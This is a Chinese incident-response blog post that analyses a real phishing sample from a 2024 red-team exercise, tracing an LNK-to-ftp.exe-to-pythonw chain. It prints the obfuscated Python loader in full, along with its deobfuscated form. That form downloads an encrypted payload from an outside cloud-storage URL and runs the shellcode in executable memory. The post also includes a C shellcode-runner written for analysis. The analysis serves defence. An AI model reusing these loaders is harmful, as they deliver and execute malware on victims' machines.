应急响应 - 2024护网钓鱼样本分析

admin 2024年8月10日11:26:42评论40 views字数 9103阅读30分20秒阅读模式
00

样本来源

该样本来源于2024Hvv的真实环境钓鱼样本,本次分析希望给大家普及如何避免和防范钓鱼木马。

01

还原木马运行路径

0、一脸懵逼,从压缩包解压之后,进入文件夹只看到了一个文件,可是查看文件夹里面明明写着35个文件啊,但是系统的隐藏文件属性已经关闭了,为什么还只显示1个呢?

应急响应 - 2024护网钓鱼样本分析

1、查看当前路径下还有什么隐藏文件

dir /a

应急响应 - 2024护网钓鱼样本分析

2、使用【attrib】将隐藏属性删除
attrib -s -h __init__

应急响应 - 2024护网钓鱼样本分析

C:UsersCoriander>attrib /?显示或更改文件属性。ATTRIB [+R | -R] [+A | -A] [+S | -S] [+H | -H] [+O | -O] [+I | -I] [+X | -X] [+P | -P] [+U | -U]       [drive:][path][filename] [/S [/D]] [/L]  +   设置属性。  -   清除属性。  R   只读文件属性。  A   存档文件属性。  S   系统文件属性。  H   隐藏文件属性。  O   脱机属性。  I   无内容索引文件属性。   X   无清理文件属性。  V   完整性属性。  P   固定属性。  U   非固定属性。  [drive:][path][filename]      指定属性要处理的文件。  /S  处理当前文件夹及其所有子文件夹中      的匹配文件。  /D  也处理文件夹。  /L  处理符号链接和      符号链接目标的属性
3、查看lnk里面运行路径
#将【libgcc.dll】以参数的形式传递给【ftp.exeC:WindowsSystem32ftp.exe -""s:__init__libgcc.dll

应急响应 - 2024护网钓鱼样本分析

4、查看dll内容
#使用pythonw.exe 执行main.pyw!start /b __init__pythonw.exe __init__main.pyw#然后启动11.docx!start /b __init__11.docx#脚本的结束标记bye

应急响应 - 2024护网钓鱼样本分析

5、查看main.pyw
#用来导入一个名为action的模块或者包import action

应急响应 - 2024护网钓鱼样本分析

6、查看action

import ast import pickle import ctypes ,urllib .request ,codecs ,base64 import sys ,ssl ssl ._create_default_https_context =ssl ._create_unverified_context OO00O0OO00OO00OO0 =urllib .request .urlopen ('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/1xqRVJEQA9u').read ()def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):    O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))    for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):        O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]    return bytes (O0OO000OO0OOO0O00 )def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):    return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):    O0O0OO0O0OO0O00OO =""    for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):        O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]    O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )    return O0000O0O0OOO000O0 .decode ()OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ())class A (object ):    def __reduce__ (OOOOOOOOO000000OO ):        return (exec ,(OO00O0OO00OO00OO0 ,))def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):    try :        O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')        exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))    except Exception as OO0OOO00000OO00O0 :        exit ()OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O )O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O )
总结运行路径:
lnk > 调用Ftp > 使用pythonw调用运行main.pyw > 间接调用action
02

分析样本

1、代码都是用O、0来恶心我们的,所以不用慌,打开IDE就好了。
先整理一下思路,python定义了def之后是不会从上往下执行的,需要被调用之后才会运行,所以只需要先关注运行的代码即可。

应急响应 - 2024护网钓鱼样本分析

2、先看最下面的红框,他是把一段字符串进行了base64的编码,所以我们还原看看是什么。
import base64def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):    O0O0OO0O0OO0O00OO =""    for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):        O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]    O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )    return O0000O0O0OOO000O0 .decode ()OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O )print(OOO00O0O00OO00O0O)

结果如下

ret = pickle.dumps(A())ret_base64 = base64.b64encode(ret)ret_decode = base64.b64decode(ret_base64)pickle.loads(ret_decode)

这段Python代码是将对象A()序列化为字节流,然后使用base64编码将字节流转换为base64格式的字符串,接着再将base64字符串解码为字节流,最后使用pickle模块的loads函数将字节流反序列化为对象。

3、再看看A做了什么操作。

import base64import urllib.requestOO00O0OO00OO00OO0 =urllib .request .urlopen ('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/1xqRVJEQA9u').read ()def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):    O0O0OO0O0OO0O00OO =""    for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):        O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]    O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )    return O0000O0O0OOO000O0 .decode ()OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ())print(OO00O0OO00OO00OO0)class A (object ):    def __reduce__ (OOOOOOOOO000000OO ):        return (exec ,(OO00O0OO00OO00OO0 ,))

结果如下

import ctypes,urllib.request,codecs,base64encrypted_data = urllib.request.urlopen('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/GbyekXDcN').read()encrypted_data = encrypted_data.strip()while 1:    try:        #64        key = b'IKkOLMFvUYctUgoBy'        decoded_data = base64.b64decode(encrypted_data)        sc = OO0000OO00O00OOOO(decoded_data, key)        ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64        rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)        ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(sc), len(sc))        ctypes.windll.kernel32.EnumDateFormatsA(ctypes.c_char_p(rwxpage), ctypes.c_int16(0), ctypes.c_int16(0))    except Error as e:        print(e)

从指定URL下载加密数据,然后使用给定的密钥解码数据,接着将解密后的数据作为shellcode执行。在执行过程中,代码尝试将shellcode分配到可执行内存中,并调用EnumDateFormatsA函数执行shellcode。

4、A执行之后输出的内容,直接被以下的代码执行
def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):    try :        O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')        exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))    except Exception as OO0OOO00000OO00O0 :        exit ()O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O )
5、最后我们把加密部分的shellcode也解密出来把
import base64import urllib.requestdef O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):    O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))    for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):        O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]    return bytes (O0OO000OO0OOO0O00 )def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):    return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )encrypted_data = urllib.request.urlopen('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/GbyekXDcN').read()encrypted_data = encrypted_data.strip()# 64key = b'IKkOLMFvUYctUgoBy'decoded_data = base64.b64decode(encrypted_data)sc = OO0000OO00O00OOOO(decoded_data, key)with open("shellcode.bin","wb") as file:    file.write(sc)
完整代码如下
import astimport pickledef O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):    O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))    for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):        O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]    return bytes (O0OO000OO0OOO0O00 )def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):    return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )OO00O0OO00OO00OO0 ='''import ctypes,urllib.request,codecs,base64encrypted_data = urllib.request.urlopen('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/GbyekXDcN').read()encrypted_data = encrypted_data.strip()while 1:    try:        #64        key = b'IKkOLMFvUYctUgoBy'        decoded_data = base64.b64decode(encrypted_data)        sc = OO0000OO00O00OOOO(decoded_data, key)        ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64        rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)        ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(sc), len(sc))        ctypes.windll.kernel32.EnumDateFormatsA(ctypes.c_char_p(rwxpage), ctypes.c_int16(0), ctypes.c_int16(0))    except Error as e:        print(e)'''class A (object ):    def __reduce__ (OOOOOOOOO000000OO ):        return (exec ,(OO00O0OO00OO00OO0 ,))def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):    try :        O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')        exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))    except Exception as OO0OOO00000OO00O0 :        exit ()OOO00O0O00OO00O0O ='''ret = pickle.dumps(A())ret_base64 = base64.b64encode(ret)ret_decode = base64.b64decode(ret_base64)pickle.loads(ret_decode)'''O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O)
03

外连情况

拿到解密之后的shellcode,我们可以在观察一下他的外连,或是有无后续操作。贴心的给他写一个我们已知操作的loader。
#include <Windows.h>int main(){  HANDLE hFile = CreateFileA("shellcode.bin", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);  DWORD nFileSize = GetFileSize(hFile, NULL);  LPVOID shellcode = VirtualAlloc(NULL, nFileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);  ReadFile(hFile, shellcode, nFileSize, NULL, NULL);    //创建一个线程,实力线程执行shellcode    HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, NULL);    //等待线程执行完毕    WaitForSingleObject(hThread, INFINITE);}

应急响应 - 2024护网钓鱼样本分析

还是个域前置,寄了,后续也没什么动静了,我通过ProcessMonitor也没有发现他有其他操作,那本次的分析就结束了。希望大家有好玩的样本也可以分享给我!有什么不对的地方各位大佬可以在下方留言!!

原文始发于微信公众号(零攻防):应急响应 - 2024护网钓鱼样本分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月10日11:26:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   应急响应 - 2024护网钓鱼样本分析https://cn-sec.com/archives/3050557.html

发表评论

匿名网友 填写信息